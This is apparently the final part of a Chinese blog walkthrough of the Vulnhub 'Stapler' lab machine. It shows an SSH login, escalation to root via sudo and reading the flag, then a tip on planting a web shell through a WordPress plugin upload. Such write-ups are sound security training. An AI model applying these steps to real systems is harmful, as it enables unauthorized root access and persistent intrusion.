Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.195' (ED25519) to the list of known hosts.
-----------------------------------------------------------------
~          Barry, don't forget to put a message here           ~
-----------------------------------------------------------------
[email protected]'s password: 
Welcome back!


red% id
uid=1000(peter) gid=1000(peter) groups=1000(peter),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),113(lpadmin),114(sambashare)
red% sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter: 
Matching Defaults entries for peter on red:
    lecture=always, env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on red:
    (ALL : ALL) ALL
red% sudo bash
root@red:~# cd /root
root@red:/root# ls -alh
total 208K
drwx------  4 root root 4.0K Feb  3 17:44 .
drwxr-xr-x 22 root root 4.0K Jun  7  2016 ..
-rw-------  1 root root    1 Jun  5  2016 .bash_history
-rw-r--r--  1 root root 3.1K Oct 22  2015 .bashrc
-rwxr-xr-x  1 root root 1.1K Jun  5  2016 fix-wordpress.sh
-rw-r--r--  1 root root  463 Jun  5  2016 flag.txt
-rw-r--r--  1 root root  345 Jun  5  2016 issue
-rw-r--r--  1 root root   50 Jun  3  2016 .my.cnf
-rw-------  1 root root    1 Jun  5  2016 .mysql_history
drwxr-xr-x 11 root root 4.0K Jun  3  2016 .oh-my-zsh
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rwxr-xr-x  1 root root  103 Jun  5  2016 python.sh
-rw-------  1 root root 1.0K Jun  5  2016 .rnd
drwxr-xr-x  2 root root 4.0K Jun  4  2016 .vim
-rw-------  1 root root    1 Jun  5  2016 .viminfo
-rw-r--r--  1 root root  54K Jun  5  2016 wordpress.sql
-rw-r--r--  1 root root  39K Jun  3  2016 .zcompdump
-rw-r--r--  1 root root  39K Jun  3  2016 .zcompdump-red-5.1.1
-rw-------  1 root root   39 Jun  5  2016 .zsh_history
-rw-r--r--  1 root root 2.8K Jun  3  2016 .zshrc
-rw-r--r--  1 root root   17 Jun  3  2016 .zsh-update
root@red:/root# cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
                          .-'''''-.
                          |'-----'|
                          |-.....-|
                          |       |
                          |       |
         _,._             |       |
    __.o`   o`"-.         |       |
 .-O o `"-.o   O )_,._    |       |
( o   O  o )--.-"`O   o"-.`'-----'`
 '--------'  (   o  O    o)  
              `----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b

root@red:/root#  

经验教训

  1. 在拿到wordpress后台管理员的情况下,设法上传shell.php时,可利用plugin,而且有时无需压缩,即可,然后在/wp-content/uploads目录中确认是否上传成功

标签:Stapler,kali,56.195,12380,192.168,Vulnhub,https,靶机,root
From: https://www.cnblogs.com/jason-huawen/p/17090364.html

相关文章

  • vulnhub靶场之DIGITALWORLD.LOCAL: VENGEANCE
    准备:攻击机:虚拟机kali、本机win10。靶机:digitalworld.local:VENGEANCE,下载地址:https://download.vulnhub.com/digitalworld/VENGEANCE.7z,下载后直接vm打开即可。知识点......
  • Vulnhub之Bob靶机详细测试过程
    Bob作者:jason_huawen靶机信息名称:Bob:1.0.1地址:https://www.vulnhub.com/entry/bob-101,226/识别目标主机IP地址─(kali㉿kali)-[~/Vulnhub/Bob]└─$sudonetd......
  • vulnhub_matrix-breakout-2-morpheus
    前言靶机地址:matrix-breakout-2-morpheus攻击机:kali2022.3靶机:matrix-breakout-2-morpheus题目描述:这是《黑客帝国突围》系列的第二部,副标题为墨菲斯:1。它的主题是对......
  • vulnhub之sahu
    一、信息获取1、IP获取──(kali㉿kali)-[~]└─$sudonmap-sn192.168.62.129/24StartingNmap7.93(https://nmap.org)at2023-01-2922:47HKTNmapscanre......
  • vulnhub靶场-->MATRIX-BREAKOUT: 2 MORPHEUS
    靶机下载地址MATRIX-BREAKOUT:2MORPHEUS <点我下载开始打靶IP发现nmap扫描网段发现靶机ip:192.168.111.139端口发现对靶机进行常规端口扫描发现两个http端口......
  • vulnhub靶场 --> JANGOW: 1.0.1
    靶机下载地址JANGOW:1.0.1 <点我下载开始打靶IP发现nmap扫描网段发现靶机ip:192.168.111.140端口发现对靶机进行常规端口扫描访问网站访问80端口发现是个目录......
  • Vulnhub之Cheran EE靶机详细测试过程(需要特别注意靶机的网络模式)
    CheranEE靶机信息名称:Cheran:1地址:https://www.vulnhub.com/entry/cheran-1,521/识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/Cheran]└─$sudonetdiscover-i......
  • Vulnhub之Cherry靶机详细测试过程(获得Shell采取不同的方法)
    Cherry识别目标主机IP地址由于目标主机无法自动获取IP地址,参照本人另文首先解决该问题。─(kali㉿kali)-[~/Vulnhub/Cherry]└─$sudonetdiscover-ieth1-r192.16......
  • Vulnhub之Chill Hack靶机详细测试过程
    ChillHack作者:jason_huawen靶机信息名称:ChillHack:1地址:https://www.vulnhub.com/entry/chill-hack-1,622/识别目标主机IP地址由于目标主机无法自动获取IP地址......
  • Vulnhub之Christophe靶机测试过程(未能拿到shell)
    Christophe识别目标主机IP地址(kali㉿kali)-[~/Vulnhub/christophe]└─$sudonetdiscover-ieth1-r192.168.56.0/24Currentlyscanning:Finished!|Screen......